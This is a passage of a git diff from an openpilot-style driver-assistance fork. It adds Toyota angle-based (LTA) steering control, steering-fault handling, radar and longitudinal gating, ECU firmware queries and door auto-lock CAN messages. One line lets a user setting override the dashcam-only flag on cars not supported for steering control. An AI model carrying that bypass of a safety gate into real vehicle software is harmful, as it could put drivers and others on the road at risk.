6TH GEN: [2.0, 2.0, 0.2] CADILLAC ESCALADE 2017: [1.899999976158142, 1.842270016670227, 0.1120000034570694] CHEVROLET BOLT EUV 2022: [2.0, 2.0, 0.05] CHEVROLET SILVERADO 1500 2020: [1.9, 1.9, 0.112] @@ -47,6 +48,8 @@ KIA SORENTO 4TH GEN: [2.5, 2.5, 0.1] KIA NIRO HYBRID 2ND GEN: [2.42, 2.5, 0.12] KIA NIRO EV 2ND GEN: [2.05, 2.5, 0.14] GENESIS GV80 2023: [2.5, 2.5, 0.1] +KIA CARNIVAL 4TH GEN: [1.75, 1.75, 0.15] +GMC ACADIA DENALI 2018: [1.6, 1.6, 0.2] # Dashcam or fallback configured as ideal car mock: [10.0, 10, 0.0] diff --git a/selfdrive/car/torque_data/params.yaml b/selfdrive/car/torque_data/params.yaml index cb423e1d8..800507d91 100644 --- a/selfdrive/car/torque_data/params.yaml +++ b/selfdrive/car/torque_data/params.yaml @@ -10,7 +10,6 @@ CHRYSLER PACIFICA HYBRID 2017: [1.79422, 1.06831764583744, 0.116237] CHRYSLER PACIFICA HYBRID 2018: [2.08887, 1.2943025830995154, 0.114818] CHRYSLER PACIFICA HYBRID 2019: [1.90120, 1.1958788168371808, 0.131520] GENESIS G70 2018: [3.8520195946707947, 2.354697063349854, 0.06830285485626221] -GMC ACADIA DENALI 2018: [1.3181430320331884, 1.1853735340610179, 0.3450592280031644] HONDA ACCORD 2018: [1.7135052593468778, 0.3461280068322071, 0.21579936052863807] HONDA ACCORD HYBRID 2018: [1.6651615004829625, 0.30322180951193245, 0.2083000440586149] HONDA CIVIC (BOSCH) 2019: [1.691708637466905, 0.40132900729454185, 0.25460295304024094] diff --git a/selfdrive/car/torque_data/substitute.yaml b/selfdrive/car/torque_data/substitute.yaml index f2da925fe..a79b31736 100644 --- a/selfdrive/car/torque_data/substitute.yaml +++ b/selfdrive/car/torque_data/substitute.yaml @@ -34,6 +34,7 @@ HYUNDAI KONA ELECTRIC 2022: HYUNDAI KONA ELECTRIC 2019 HYUNDAI IONIQ HYBRID 2017-2019: HYUNDAI IONIQ PLUG-IN HYBRID 2019 HYUNDAI IONIQ HYBRID 2020-2022: HYUNDAI IONIQ PLUG-IN HYBRID 2019 HYUNDAI IONIQ ELECTRIC 2020: HYUNDAI IONIQ PLUG-IN HYBRID 2019 +HYUNDAI IONIQ 6 2023: HYUNDAI IONIQ 5 2022 HYUNDAI ELANTRA 2017: HYUNDAI SONATA 2019 HYUNDAI ELANTRA HYBRID 2021: HYUNDAI SONATA 2020 HYUNDAI TUCSON 2019: HYUNDAI SANTA FE 2019 diff --git a/selfdrive/car/toyota/carcontroller.py b/selfdrive/car/toyota/carcontroller.py index b1fa7f9ed..66a1c8fb8 100644 --- a/selfdrive/car/toyota/carcontroller.py +++ b/selfdrive/car/toyota/carcontroller.py @@ -1,6 +1,7 @@ from cereal import car from common.numpy_fast import clip, interp -from selfdrive.car import apply_meas_steer_torque_limits, create_gas_interceptor_command, make_can_msg +from selfdrive.car import apply_meas_steer_torque_limits, apply_std_steer_angle_limits, \ + create_gas_interceptor_command, make_can_msg from selfdrive.car.toyota.toyotacan import create_steer_command, create_ui_command, \ create_accel_command, create_acc_cancel_command, \ create_fcw_command, create_lta_steer_command @@ -11,8 +12,10 @@ from opendbc.can.packer import CANPacker from common.conversions import Conversions as CV from common.params import Params +SteerControlType = car.CarParams.SteerControlType VisualAlert = car.CarControl.HUDControl.VisualAlert +# LKA limits # EPS faults if you apply torque while the steering rate is above 100 deg/s for too long MAX_STEER_RATE = 100 # deg/s MAX_STEER_RATE_FRAMES = 18 # tx control frames needed before torque can be cut @@ -20,6 +23,11 @@ MAX_STEER_RATE_FRAMES = 18 # tx control frames needed before torque can be cut # EPS allows user torque above threshold for 50 frames before permanently faulting MAX_USER_TORQUE = 500 +# LTA limits +# EPS ignores commands above this angle and causes PCS to fault +MAX_STEER_ANGLE = 94.9461 # deg +MAX_DRIVER_TORQUE_ALLOWANCE = 150 # slightly above steering pressed allows some resistance when changing lanes + # rick - toyota auto lock / unlock GearShifter = car.CarState.GearShifter UNLOCK_CMD = b'\x40\x05\x30\x11\x00\x40\x00\x00' @@ -29,9 +37,10 @@ LOCK_AT_SPEED = 10 * CV.KPH_TO_MS class CarController: def __init__(self, dbc_name, CP, VM): self.CP = CP - self.torque_rate_limits = CarControllerParams(self.CP) + self.params = CarControllerParams(self.CP) self.frame = 0 self.last_steer = 0 + self.last_angle = 0 self.alert_active = False self.last_standstill = False self.standstill_req = False @@ -55,27 +64,27 @@ class CarController: pcm_cancel_cmd = CC.cruiseControl.cancel lat_active = CC.latActive and abs(CS.out.steeringTorque) < MAX_USER_TORQUE - # gas and brake - if self.CP.enableGasInterceptor and CC.longActive: - MAX_INTERCEPTOR_GAS = 0.5 - # RAV4 has very sensitive gas pedal - if self.CP.carFingerprint in (CAR.RAV4, CAR.RAV4H, CAR.HIGHLANDER, CAR.HIGHLANDERH): - PEDAL_SCALE = interp(CS.out.vEgo, [0.0, MIN_ACC_SPEED, MIN_ACC_SPEED + PEDAL_TRANSITION], [0.15, 0.3, 0.0]) - elif self.CP.carFingerprint in (CAR.COROLLA,): - PEDAL_SCALE = interp(CS.out.vEgo, [0.0, MIN_ACC_SPEED, MIN_ACC_SPEED + PEDAL_TRANSITION], [0.3, 0.4, 0.0]) - else: - PEDAL_SCALE = interp(CS.out.vEgo, [0.0, MIN_ACC_SPEED, MIN_ACC_SPEED + PEDAL_TRANSITION], [0.4, 0.5, 0.0]) - # offset for creep and windbrake - pedal_offset = interp(CS.out.vEgo, [0.0, 2.3, MIN_ACC_SPEED + PEDAL_TRANSITION], [-.4, 0.0, 0.2]) - pedal_command = PEDAL_SCALE * (actuators.accel + pedal_offset) - interceptor_gas_cmd = clip(pedal_command, 0., MAX_INTERCEPTOR_GAS) - else: - interceptor_gas_cmd = 0. - pcm_accel_cmd = clip(actuators.accel, CarControllerParams.ACCEL_MIN, CarControllerParams.ACCEL_MAX) + # *** control msgs *** + can_sends = [] - # steer torque - new_steer = int(round(actuators.steer * CarControllerParams.STEER_MAX)) - apply_steer = apply_meas_steer_torque_limits(new_steer, self.last_steer, CS.out.steeringTorqueEps, self.torque_rate_limits) + # dp - door auto lock / unlock logic + # thanks to AlexandreSato & cydia2020 + # https://github.com/AlexandreSato/animalpilot/blob/personal/doors.py + if not CS.out.doorOpen: + gear = CS.out.gearShifter + if gear == GearShifter.park and self.dp_toyota_auto_lock_gear_prev != gear: + if self.dp_toyota_auto_lock: + can_sends.append(make_can_msg(0x750, UNLOCK_CMD, 0)) + self.dp_toyota_auto_lock_once = False + elif gear == GearShifter.drive and not self.dp_toyota_auto_lock_once and CS.out.vEgo >= LOCK_AT_SPEED: + if self.dp_toyota_auto_unlock: + can_sends.append(make_can_msg(0x750, LOCK_CMD, 0)) + self.dp_toyota_auto_lock_once = True + self.dp_toyota_auto_lock_gear_prev = gear + + # *** steer torque *** + new_steer = int(round(actuators.steer * self.params.STEER_MAX)) + apply_steer = apply_meas_steer_torque_limits(new_steer, self.last_steer, CS.out.steeringTorqueEps, self.params) # Count up to MAX_STEER_RATE_FRAMES, at which point we need to cut torque to avoid a steering fault if lat_active and abs(CS.out.steeringRateDeg) >= MAX_STEER_RATE: @@ -91,10 +100,53 @@ class CarController: apply_steer_req = 0 self.steer_rate_counter = 0 - # Never actuate with LKA on cars that only support LTA - if self.CP.steerControlType == car.CarParams.SteerControlType.angle: + # *** steer angle *** + if self.CP.steerControlType == SteerControlType.angle: + # If using LTA control, disable LKA and set steering angle command apply_steer = 0 apply_steer_req = 0 + if self.frame % 2 == 0: + # EPS uses the torque sensor angle to control with, offset to compensate + apply_angle = actuators.steeringAngleDeg + CS.out.steeringAngleOffsetDeg + + # Angular rate limit based on speed + apply_angle = apply_std_steer_angle_limits(apply_angle, self.last_angle, CS.out.vEgo, self.params) + + if not lat_active: + apply_angle = CS.out.steeringAngleDeg + CS.out.steeringAngleOffsetDeg + + self.last_angle = clip(apply_angle, -MAX_STEER_ANGLE, MAX_STEER_ANGLE) + + self.last_steer = apply_steer + + # toyota can trace shows this message at 42Hz, with counter adding alternatively 1 and 2; + # sending it at 100Hz seem to allow a higher rate limit, as the rate limit seems imposed + # on consecutive messages + can_sends.append(create_steer_command(self.packer, apply_steer, apply_steer_req)) + if self.frame % 2 == 0 and self.CP.carFingerprint in TSS2_CAR: + lta_active = lat_active and self.CP.steerControlType == SteerControlType.angle + full_torque_condition = (abs(CS.out.steeringTorqueEps) < self.params.STEER_MAX and + abs(CS.out.steeringTorque) < MAX_DRIVER_TORQUE_ALLOWANCE) + setme_x64 = 100 if lta_active and full_torque_condition else 0 + can_sends.append(create_lta_steer_command(self.packer, self.last_angle if lta_active else 0, lta_active, self.frame // 2, setme_x64)) + + # *** gas and brake *** + if self.CP.enableGasInterceptor and CC.longActive: + MAX_INTERCEPTOR_GAS = 0.5 + # RAV4 has very sensitive gas pedal + if self.CP.carFingerprint in (CAR.RAV4, CAR.RAV4H, CAR.HIGHLANDER, CAR.HIGHLANDERH): + PEDAL_SCALE = interp(CS.out.vEgo, [0.0, MIN_ACC_SPEED, MIN_ACC_SPEED + PEDAL_TRANSITION], [0.15, 0.3, 0.0]) + elif self.CP.carFingerprint in (CAR.COROLLA,): + PEDAL_SCALE = interp(CS.out.vEgo, [0.0, MIN_ACC_SPEED, MIN_ACC_SPEED + PEDAL_TRANSITION], [0.3, 0.4, 0.0]) + else: + PEDAL_SCALE = interp(CS.out.vEgo, [0.0, MIN_ACC_SPEED, MIN_ACC_SPEED + PEDAL_TRANSITION], [0.4, 0.5, 0.0]) + # offset for creep and windbrake + pedal_offset = interp(CS.out.vEgo, [0.0, 2.3, MIN_ACC_SPEED + PEDAL_TRANSITION], [-.4, 0.0, 0.2]) + pedal_command = PEDAL_SCALE * (actuators.accel + pedal_offset) + interceptor_gas_cmd = clip(pedal_command, 0., MAX_INTERCEPTOR_GAS) + else: + interceptor_gas_cmd = 0. + pcm_accel_cmd = clip(actuators.accel, self.params.ACCEL_MIN, self.params.ACCEL_MAX) # TODO: probably can delete this. CS.pcm_acc_status uses a different signal # than CS.cruiseState.enabled. confirm they're not meaningfully different @@ -108,41 +160,8 @@ class CarController: # pcm entered standstill or it's disabled self.standstill_req = False - self.last_steer = apply_steer self.last_standstill = CS.out.standstill - can_sends = [] - - # dp - door auto lock / unlock logic - # thanks to AlexandreSato & cydia2020 - # https://github.com/AlexandreSato/animalpilot/blob/personal/doors.py - if not CS.out.doorOpen: - gear = CS.out.gearShifter - if gear == GearShifter.park and self.dp_toyota_auto_lock_gear_prev != gear: - if self.dp_toyota_auto_lock: - can_sends.append(make_can_msg(0x750, UNLOCK_CMD, 0)) - self.dp_toyota_auto_lock_once = False - elif gear == GearShifter.drive and not self.dp_toyota_auto_lock_once and CS.out.vEgo >= LOCK_AT_SPEED: - if self.dp_toyota_auto_unlock: - can_sends.append(make_can_msg(0x750, LOCK_CMD, 0)) - self.dp_toyota_auto_lock_once = True - self.dp_toyota_auto_lock_gear_prev = gear - - # *** control msgs *** - # print("steer {0} {1} {2} {3}".format(apply_steer, min_lim, max_lim, CS.steer_torque_motor) - - # toyota can trace shows this message at 42Hz, with counter adding alternatively 1 and 2; - # sending it at 100Hz seem to allow a higher rate limit, as the rate limit seems imposed - # on consecutive messages - can_sends.append(create_steer_command(self.packer, apply_steer, apply_steer_req)) - if self.frame % 2 == 0 and self.CP.carFingerprint in TSS2_CAR: - can_sends.append(create_lta_steer_command(self.packer, 0, 0, self.frame // 2)) - - # LTA mode. Set ret.steerControlType = car.CarParams.SteerControlType.angle and whitelist 0x191 in the panda - # if self.frame % 2 == 0: - # can_sends.append(create_steer_command(self.packer, 0, 0, self.frame // 2)) - # can_sends.append(create_lta_steer_command(self.packer, actuators.steeringAngleDeg, apply_steer_req, self.frame // 2)) - # we can spam can to cancel the system even if we are using lat only control if (self.frame % 3 == 0 and self.CP.openpilotLongitudinalControl) or pcm_cancel_cmd: lead = hud_control.leadVisible or CS.out.vEgo < 12. # at low speed we always assume the lead is present so ACC can be engaged @@ -162,6 +181,7 @@ class CarController: can_sends.append(create_gas_interceptor_command(self.packer, interceptor_gas_cmd, self.frame // 2)) self.gas = interceptor_gas_cmd + # *** hud ui *** if self.CP.carFingerprint != CAR.PRIUS_V: # ui mesg is at 1Hz but we send asap if: # - there is something to display @@ -192,8 +212,9 @@ class CarController: can_sends.append(make_can_msg(addr, vl, bus)) new_actuators = actuators.copy() - new_actuators.steer = apply_steer / CarControllerParams.STEER_MAX + new_actuators.steer = apply_steer / self.params.STEER_MAX new_actuators.steerOutputCan = apply_steer + new_actuators.steeringAngleDeg = self.last_angle new_actuators.accel = self.accel new_actuators.gas = self.gas diff --git a/selfdrive/car/toyota/carstate.py b/selfdrive/car/toyota/carstate.py index 68adc2ee5..b6ecbe5e5 100644 --- a/selfdrive/car/toyota/carstate.py +++ b/selfdrive/car/toyota/carstate.py @@ -10,6 +10,19 @@ from opendbc.can.parser import CANParser from selfdrive.car.interfaces import CarStateBase from selfdrive.car.toyota.values import ToyotaFlags, CAR, DBC, STEER_THRESHOLD, NO_STOP_TIMER_CAR, TSS2_CAR, RADAR_ACC_CAR, EPS_SCALE, UNSUPPORTED_DSU_CAR +SteerControlType = car.CarParams.SteerControlType + +# These steering fault definitions seem to be common across LKA (torque) and LTA (angle): +# - high steer rate fault: goes to 21 or 25 for 1 frame, then 9 for 2 seconds +# - lka/lta msg drop out: goes to 9 then 11 for a combined total of 2 seconds, then 3. +# if using the other control command, goes directly to 3 after 1.5 seconds +# - initializing: LTA can report 0 as long as STEER_TORQUE_SENSOR->STEER_ANGLE_INITIALIZING is 1, +# and is a catch-all for LKA +TEMP_STEER_FAULTS = (0, 9, 11, 21, 25) +# - lka/lta msg drop out: 3 (recoverable) +# - prolonged high driver torque: 17 (permanent) +PERM_STEER_FAULTS = (3, 17) + class CarState(CarStateBase): def __init__(self, CP): @@ -88,12 +101,14 @@ class CarState(CarStateBase): ret.steeringTorqueEps = cp.vl["STEER_TORQUE_SENSOR"]["STEER_TORQUE_EPS"] * self.eps_torque_scale # we could use the override bit from dbc, but it's triggered at too high torque values ret.steeringPressed = abs(ret.steeringTorque) > STEER_THRESHOLD - # steer rate fault: goes to 21 or 25 for 1 frame, then 9 for 2 seconds - # lka msg drop out: goes to 9 then 11 for a combined total of 2 seconds - ret.steerFaultTemporary = cp.vl["EPS_STATUS"]["LKA_STATE"] in (0, 9, 11, 21, 25) - # 17 is a fault from a prolonged high torque delta between cmd and user - # 3 is a fault from the lka command message not being received by the EPS - ret.steerFaultPermanent = cp.vl["EPS_STATUS"]["LKA_STATE"] in (3, 17) + + # Check EPS LKA/LTA fault status + ret.steerFaultTemporary = cp.vl["EPS_STATUS"]["LKA_STATE"] in TEMP_STEER_FAULTS + ret.steerFaultPermanent = cp.vl["EPS_STATUS"]["LKA_STATE"] in PERM_STEER_FAULTS + + if self.CP.steerControlType == SteerControlType.angle: + ret.steerFaultTemporary = ret.steerFaultTemporary or cp.vl["EPS_STATUS"]["LTA_STATE"] in TEMP_STEER_FAULTS + ret.steerFaultPermanent = ret.steerFaultPermanent or cp.vl["EPS_STATUS"]["LTA_STATE"] in PERM_STEER_FAULTS if self.CP.carFingerprint in UNSUPPORTED_DSU_CAR: # TODO: find the bit likely in DSU_CRUISE that describes an ACC fault. one may also exist in CLUTCH @@ -184,6 +199,10 @@ class CarState(CarStateBase): ("AUTO_HIGH_BEAM", "LIGHT_STALK"), ] + # Check LTA state if using LTA angle control + if CP.steerControlType == SteerControlType.angle: + signals.append(("LTA_STATE", "EPS_STATUS")) + checks = [ ("GEAR_PACKET", 1), ("LIGHT_STALK", 1), diff --git a/selfdrive/car/toyota/interface.py b/selfdrive/car/toyota/interface.py index bb375b21b..751ab83a6 100644 --- a/selfdrive/car/toyota/interface.py +++ b/selfdrive/car/toyota/interface.py @@ -9,6 +9,7 @@ from selfdrive.car.interfaces import CarInterfaceBase from common.params import Params EventName = car.CarEvent.EventName +SteerControlType = car.CarParams.SteerControlType class CarInterface(CarInterfaceBase): @@ -21,7 +22,6 @@ class CarInterface(CarInterfaceBase): ret.carName = "toyota" ret.safetyConfigs = [get_safety_config(car.CarParams.SafetyModel.toyota)] ret.safetyConfigs[0].safetyParam = EPS_SCALE[candidate] - ret.radarUnavailable = candidate in (NO_DSU_CAR | RADAR_ACC_CAR) # BRAKE_MODULE is on a different address for these cars if DBC[candidate]["pt"] == "toyota_new_mc_pt_generated": @@ -29,17 +29,24 @@ class CarInterface(CarInterfaceBase): if candidate in ANGLE_CONTROL_CAR: ret.dashcamOnly = True - ret.steerControlType = car.CarParams.SteerControlType.angle + ret.steerControlType = SteerControlType.angle ret.safetyConfigs[0].safetyParam |= Panda.FLAG_TOYOTA_LTA + + # LTA control can be more delayed and winds up more often + ret.steerActuatorDelay = 0.25 + ret.steerLimitTimer = 0.8 else: CarInterfaceBase.configure_torque_tune(candidate, ret.lateralTuning) - ret.steerActuatorDelay = 0.12 # Default delay, Prius has larger delay - ret.steerLimitTimer = 0.4 + ret.steerActuatorDelay = 0.12 # Default delay, Prius has larger delay + ret.steerLimitTimer = 0.4 + ret.stoppingControl = False # Toyota starts braking more when it thinks you want to stop stop_and_go = False + ret.dashcamOnly = False if ret.dashcamOnly and Params().get_bool("dp_car_dashcam_mode_removal") else ret.dashcamOnly + if candidate == CAR.PRIUS: stop_and_go = True ret.wheelbase = 2.70 @@ -209,21 +216,30 @@ class CarInterface(CarInterfaceBase): if 0x2FF in fingerprint[0]: ret.flags |= ToyotaFlags.SMART_DSU.value + # No radar dbc for cars without DSU which are not TSS 2.0 + # TODO: make an adas dbc file for dsu-less models + ret.radarUnavailable = DBC[candidate]['radar'] is None or candidate in (NO_DSU_CAR - TSS2_CAR) + # In TSS2 cars, the camera does long control found_ecus = [fw.ecu for fw in car_fw] ret.enableDsu = len(found_ecus) > 0 and Ecu.dsu not in found_ecus and candidate not in (NO_DSU_CAR | UNSUPPORTED_DSU_CAR) and not (ret.flags & ToyotaFlags.SMART_DSU) ret.enableGasInterceptor = 0x201 in fingerprint[0] - # if the smartDSU is detected, openpilot can send ACC_CMD (and the smartDSU will block it from the DSU) or not (the DSU is "connected") - ret.openpilotLongitudinalControl = bool(ret.flags & ToyotaFlags.SMART_DSU) or ret.enableDsu or candidate in (TSS2_CAR - RADAR_ACC_CAR) - ret.autoResumeSng = ret.openpilotLongitudinalControl and candidate in NO_STOP_TIMER_CAR + # if the smartDSU is detected, openpilot can send ACC_CONTROL and the smartDSU will block it from the DSU or radar. + # since we don't yet parse radar on TSS2 radar-based ACC cars, gate longitudinal behind experimental toggle + use_sdsu = bool(ret.flags & ToyotaFlags.SMART_DSU) + if candidate in RADAR_ACC_CAR: + ret.experimentalLongitudinalAvailable = use_sdsu + use_sdsu = use_sdsu and experimental_long - # toyota radar acc car should consider radarUnavailable = True - # and when radarUnavailable, openpilot longitudinal control is allowed when smart dsu is installed and experimental_long is on - ret.radarUnavailable = candidate in RADAR_ACC_CAR - if ret.radarUnavailable: - ret.experimentalLongitudinalAvailable = bool(ret.flags & ToyotaFlags.SMART_DSU) - ret.openpilotLongitudinalControl = experimental_long and ret.experimentalLongitudinalAvailable + # openpilot longitudinal enabled by default: + # - non-(TSS2 radar ACC cars) w/ smartDSU installed + # - cars w/ DSU disconnected + # - TSS2 cars with camera sending ACC_CONTROL where we can block it + # openpilot longitudinal behind experimental long toggle: + # - TSS2 radar ACC cars w/ smartDSU installed + ret.openpilotLongitudinalControl = use_sdsu or ret.enableDsu or candidate in (TSS2_CAR - RADAR_ACC_CAR) + ret.autoResumeSng = ret.openpilotLongitudinalControl and candidate in NO_STOP_TIMER_CAR if not ret.openpilotLongitudinalControl: ret.safetyConfigs[0].safetyParam |= Panda.FLAG_TOYOTA_STOCK_LONGITUDINAL @@ -264,6 +280,11 @@ class CarInterface(CarInterfaceBase): # events events = self.create_common_events(ret) + # Lane Tracing Assist control is unavailable (EPS_STATUS->LTA_STATE=0) until + # the more accurate angle sensor signal is initialized + if self.CP.steerControlType == SteerControlType.angle and not self.CS.accurate_steer_angle_seen: + events.add(EventName.vehicleSensorsInvalid) + if self.CP.openpilotLongitudinalControl: if ret.cruiseState.standstill and not ret.brakePressed and not self.CP.enableGasInterceptor: events.add(EventName.resumeRequired) diff --git a/selfdrive/car/toyota/radar_interface.py b/selfdrive/car/toyota/radar_interface.py index 8c87704ff..64906b34b 100755 --- a/selfdrive/car/toyota/radar_interface.py +++ b/selfdrive/car/toyota/radar_interface.py @@ -1,14 +1,11 @@ #!/usr/bin/env python3 from opendbc.can.parser import CANParser from cereal import car -from selfdrive.car.toyota.values import NO_DSU_CAR, DBC, TSS2_CAR +from selfdrive.car.toyota.values import DBC, TSS2_CAR from selfdrive.car.interfaces import RadarInterfaceBase def _create_radar_can_parser(car_fingerprint): - if DBC[car_fingerprint]['radar'] is None: - return None - if car_fingerprint in TSS2_CAR: RADAR_A_MSGS = list(range(0x180, 0x190)) RADAR_B_MSGS = list(range(0x190, 0x1a0)) @@ -42,16 +39,12 @@ class RadarInterface(RadarInterfaceBase): self.valid_cnt = {key: 0 for key in self.RADAR_A_MSGS} - self.rcp = _create_radar_can_parser(CP.carFingerprint) + self.rcp = None if CP.radarUnavailable else _create_radar_can_parser(CP.carFingerprint) self.trigger_msg = self.RADAR_B_MSGS[-1] self.updated_messages = set() - # No radar dbc for cars without DSU which are not TSS 2.0 - # TODO: make a adas dbc file for dsu-less models - self.no_radar = CP.carFingerprint in NO_DSU_CAR and CP.carFingerprint not in TSS2_CAR - def update(self, can_strings): - if self.no_radar or self.rcp is None: + if self.rcp is None: return super().update(None) vls = self.rcp.update_strings(can_strings) diff --git a/selfdrive/car/toyota/toyotacan.py b/selfdrive/car/toyota/toyotacan.py index 103136135..01861c534 100644 --- a/selfdrive/car/toyota/toyotacan.py +++ b/selfdrive/car/toyota/toyotacan.py @@ -9,20 +9,20 @@ def create_steer_command(packer, steer, steer_req): return packer.make_can_msg("STEERING_LKA", 0, values) -def create_lta_steer_command(packer, steer, steer_req, raw_cnt): +def create_lta_steer_command(packer, steer_angle, steer_req, frame, setme_x64): """Creates a CAN message for the Toyota LTA Steer Command.""" values = { - "COUNTER": raw_cnt + 128, + "COUNTER": frame + 128, "SETME_X1": 1, "SETME_X3": 3, "PERCENTAGE": 100, - "SETME_X64": 0, + "SETME_X64": setme_x64, "ANGLE": 0, - "STEER_ANGLE_CMD": steer, + "STEER_ANGLE_CMD": steer_angle, "STEER_REQUEST": steer_req, "STEER_REQUEST_2": steer_req, - "BIT": 0, + "CLEAR_HOLD_STEERING_ALERT": 0, } return packer.make_can_msg("STEERING_LTA", 0, values) @@ -46,7 +46,7 @@ def create_acc_cancel_command(packer): values = { "GAS_RELEASED": 0, "CRUISE_ACTIVE": 0, - "STANDSTILL_ON": 0, + "ACC_BRAKING": 0, "ACCEL_NET": 0, "CRUISE_STATE": 0, "CANCEL_REQ": 1, @@ -87,7 +87,7 @@ def create_ui_command(packer, steer, chime, left_line, right_line, left_lane_dep "LANE_SWAY_SENSITIVITY": 2, "LANE_SWAY_TOGGLE": 1, "LDA_ON_MESSAGE": 0, - "LDA_SPEED_TOO_LOW": 0, + "LDA_MESSAGES": 0, "LDA_SA_TOGGLE": 1, "LDA_SENSITIVITY": 2, "LDA_UNAVAILABLE": 0, diff --git a/selfdrive/car/toyota/values.py b/selfdrive/car/toyota/values.py index 422c7560f..c36f0c906 100644 --- a/selfdrive/car/toyota/values.py +++ b/selfdrive/car/toyota/values.py @@ -1,11 +1,11 @@ from collections import defaultdict -from dataclasses import dataclass +from dataclasses import dataclass, field from enum import Enum, IntFlag from typing import Dict, List, Union from cereal import car from common.conversions import Conversions as CV -from selfdrive.car import dbc_dict +from selfdrive.car import AngleRateLimit, dbc_dict from selfdrive.car.docs_definitions import CarFootnote, CarInfo, Column, CarParts, CarHarness from selfdrive.car.fw_query_definitions import FwQueryConfig, Request, StdQueries @@ -22,6 +22,14 @@ class CarControllerParams: STEER_MAX = 1500 STEER_ERROR_MAX = 350 # max delta between torque cmd and torque motor + # Lane Tracing Assist (LTA) control limits + # Assuming a steering ratio of 13.7: + # Limit to ~2.0 m/s^3 up (7.5 deg/s), ~3.5 m/s^3 down (13 deg/s) at 75 mph + # Worst case, the low speed limits will allow ~4.0 m/s^3 up (15 deg/s) and ~4.9 m/s^3 down (18 deg/s) at 75 mph, + # however the EPS has its own internal limits at all speeds which are less than that + ANGLE_RATE_LIMIT_UP = AngleRateLimit(speed_bp=[5, 25], angle_v=[0.3, 0.15]) + ANGLE_RATE_LIMIT_DOWN = AngleRateLimit(speed_bp=[5, 25], angle_v=[0.36, 0.26]) + def __init__(self, CP): if CP.lateralTuning.which == 'torque': self.STEER_DELTA_UP = 15 # 1.0s time to peak torque @@ -102,7 +110,7 @@ class Footnote(Enum): @dataclass class ToyotaCarInfo(CarInfo): package: str = "All" - car_parts: CarParts = CarParts.common([CarHarness.toyota]) + car_parts: CarParts = field(default_factory=CarParts.common([CarHarness.toyota])) CAR_INFO: Dict[str, Union[ToyotaCarInfo, List[ToyotaCarInfo]]] = { @@ -135,7 +143,7 @@ CAR_INFO: Dict[str, Union[ToyotaCarInfo, List[ToyotaCarInfo]]] = { ToyotaCarInfo("Toyota Corolla Hybrid 2020-22"), ToyotaCarInfo("Toyota Corolla Hybrid (Non-US only) 2020-23", min_enable_speed=7.5), ToyotaCarInfo("Toyota Corolla Cross Hybrid (Non-US only) 2020-22", min_enable_speed=7.5), - ToyotaCarInfo("Lexus UX Hybrid 2019-22"), + ToyotaCarInfo("Lexus UX Hybrid 2019-23"), ], CAR.HIGHLANDER: ToyotaCarInfo("Toyota Highlander 2017-19", video_link="https://www.youtube.com/watch?v=0wS0wXSLzoo"), CAR.HIGHLANDER_TSS2: ToyotaCarInfo("Toyota Highlander 2020-23"), @@ -215,27 +223,34 @@ STATIC_DSU_MSGS = [ (0x4CB, (CAR.PRIUS, CAR.RAV4H, CAR.LEXUS_RXH, CAR.LEXUS_NXH, CAR.LEXUS_NX, CAR.RAV4, CAR.COROLLA, CAR.HIGHLANDERH, CAR.HIGHLANDER, CAR.AVALON, CAR.SIENNA, CAR.LEXUS_CTH, CAR.LEXUS_ES, CAR.LEXUS_ESH, CAR.LEXUS_RX, CAR.PRIUS_V), 0, 100, b'\x0c\x00\x00\x00\x00\x00\x00\x00'), ] -TOYOTA_VERSION_REQUEST = b'\x1a\x88\x01' -TOYOTA_VERSION_RESPONSE = b'\x5a\x88\x01' +# Some ECUs that use KWP2000 have their FW versions on non-standard data identifiers. +# Toyota diagnostic software first gets the supported data ids, then queries them one by one. +# For example, sends: 0x1a8800, receives: 0x1a8800010203, queries: 0x1a8801, 0x1a8802, 0x1a8803 +TOYOTA_VERSION_REQUEST_KWP = b'\x1a\x88\x01' +TOYOTA_VERSION_RESPONSE_KWP = b'\x5a\x88\x01' FW_QUERY_CONFIG = FwQueryConfig( + # TODO: look at data to whitelist new ECUs effectively requests=[ Request( - [StdQueries.SHORT_TESTER_PRESENT_REQUEST, TOYOTA_VERSION_REQUEST], - [StdQueries.SHORT_TESTER_PRESENT_RESPONSE, TOYOTA_VERSION_RESPONSE], - whitelist_ecus=[Ecu.fwdCamera, Ecu.fwdRadar, Ecu.dsu, Ecu.abs, Ecu.eps], + [StdQueries.SHORT_TESTER_PRESENT_REQUEST, TOYOTA_VERSION_REQUEST_KWP], + [StdQueries.SHORT_TESTER_PRESENT_RESPONSE, TOYOTA_VERSION_RESPONSE_KWP], + whitelist_ecus=[Ecu.fwdCamera, Ecu.fwdRadar, Ecu.dsu, Ecu.abs, Ecu.eps, Ecu.epb, Ecu.telematics, + Ecu.hybrid, Ecu.srs, Ecu.combinationMeter, Ecu.transmission, Ecu.gateway, Ecu.hvac], bus=0, ), Request( [StdQueries.SHORT_TESTER_PRESENT_REQUEST, StdQueries.OBD_VERSION_REQUEST], [StdQueries.SHORT_TESTER_PRESENT_RESPONSE, StdQueries.OBD_VERSION_RESPONSE], - whitelist_ecus=[Ecu.engine], + whitelist_ecus=[Ecu.engine, Ecu.epb, Ecu.telematics, Ecu.hybrid, Ecu.srs, Ecu.combinationMeter, Ecu.transmission, + Ecu.gateway, Ecu.hvac], bus=0, ), Request( [StdQueries.TESTER_PRESENT_REQUEST, StdQueries.DEFAULT_DIAGNOSTIC_REQUEST, StdQueries.EXTENDED_DIAGNOSTIC_REQUEST, StdQueries.UDS_VERSION_REQUEST], [StdQueries.TESTER_PRESENT_RESPONSE, StdQueries.DEFAULT_DIAGNOSTIC_RESPONSE, StdQueries.EXTENDED_DIAGNOSTIC_RESPONSE, StdQueries.UDS_VERSION_RESPONSE], - whitelist_ecus=[Ecu.engine, Ecu.fwdRadar, Ecu.fwdCamera, Ecu.abs, Ecu.eps], + whitelist_ecus=[Ecu.engine, Ecu.fwdRadar, Ecu.fwdCamera, Ecu.abs, Ecu.eps, Ecu.epb, Ecu.telematics, + Ecu.hybrid, Ecu.srs, Ecu.combinationMeter, Ecu.transmission, Ecu.gateway, Ecu.hvac], bus=0, ), ], @@ -244,7 +259,39 @@ FW_QUERY_CONFIG = FwQueryConfig( Ecu.abs: [CAR.RAV4, CAR.COROLLA, CAR.HIGHLANDER, CAR.SIENNA, CAR.LEXUS_IS], # On some models, the engine can show on two different addresses Ecu.engine: [CAR.CAMRY, CAR.COROLLA_TSS2, CAR.CHR, CAR.CHR_TSS2, CAR.LEXUS_IS, CAR.LEXUS_RC], - } + }, + extra_ecus=[ + # All known ECUs on a late-model Toyota vehicle not queried here: + # Responds to UDS: + # - HV Battery (0x713, 0x747) + # - Motor Generator 